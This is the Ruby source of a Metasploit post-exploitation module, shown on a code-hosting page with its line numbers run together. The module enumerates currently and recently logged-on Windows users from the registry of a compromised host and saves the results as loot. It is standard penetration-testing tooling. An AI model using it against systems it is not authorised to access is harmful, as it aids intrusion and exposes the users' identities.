Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_logged_on_users.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Accounts7include Msf::Post::Windows::Registry8include Msf::Post::Windows::UserProfiles910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Logged On User Enumeration (Registry)',15'Description' => %q{ This module will enumerate current and recently logged on Windows users. },16'License' => MSF_LICENSE,17'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],18'Platform' => [ 'win' ],19'SessionTypes' => %w[powershell shell meterpreter],20'Notes' => {21'Stability' => [CRASH_SAFE],22'Reliability' => [],23'SideEffects' => []24},25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28stdapi_railgun_api29]30}31}32)33)34register_options([35OptBool.new('CURRENT', [ true, 'Enumerate currently logged on users', true]),36OptBool.new('RECENT', [ true, 'Enumerate recently logged on users', true])37])38end3940def list_recently_logged_on_users41tbl = Rex::Text::Table.new(42'Header' => 'Recently Logged Users',43'Indent' => 1,44'Columns' =>45[46'SID',47'Profile Path'48]49)5051profiles = read_profile_list(user_accounts_only: false)5253return if profiles.blank?5455profiles.each do |profile|56tbl << [57profile['SID'],58profile['PROF']59]60end6162return if tbl.rows.empty?6364print_line("\n#{tbl}\n")65p = store_loot('host.users.recent', 'text/plain', session, tbl.to_s, 'recent_users.txt', 'Recent Users')66print_good("Results saved in: #{p}")67end6869def list_currently_logged_on_users70return unless session.type == 'meterpreter'7172tbl = Rex::Text::Table.new(73'Header' => 'Current Logged Users',74'Indent' => 1,75'Columns' =>76[77'SID',78'User'79]80)81keys = registry_enumkeys('HKU')8283return unless keys8485keys.each do |maybe_sid|86next unless maybe_sid.starts_with?('S-1-5-21-')87next if maybe_sid.ends_with?('_Classes')8889info = resolve_sid(maybe_sid)9091next if info.nil?9293name = info[:name]94domain = info[:domain]9596next if domain.blank? || name.blank?9798tbl << [maybe_sid, "#{domain}\\#{name}"]99end100101return if tbl.rows.empty?102103print_line("\n#{tbl}\n")104p = store_loot('host.users.active', 'text/plain', session, tbl.to_s, 'active_users.txt', 'Active Users')105print_good("Results saved in: #{p}")106end107108def run109hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']110print_status("Running module against #{hostname} (#{session.session_host})")111112if datastore['CURRENT']113if session.type == 'meterpreter'114list_currently_logged_on_users115else116print_error("Incompatible session type '#{session.type}'. Can not retrieve list of currently logged in users.")117end118end119120if datastore['RECENT']121list_recently_logged_on_users122end123end124end125126127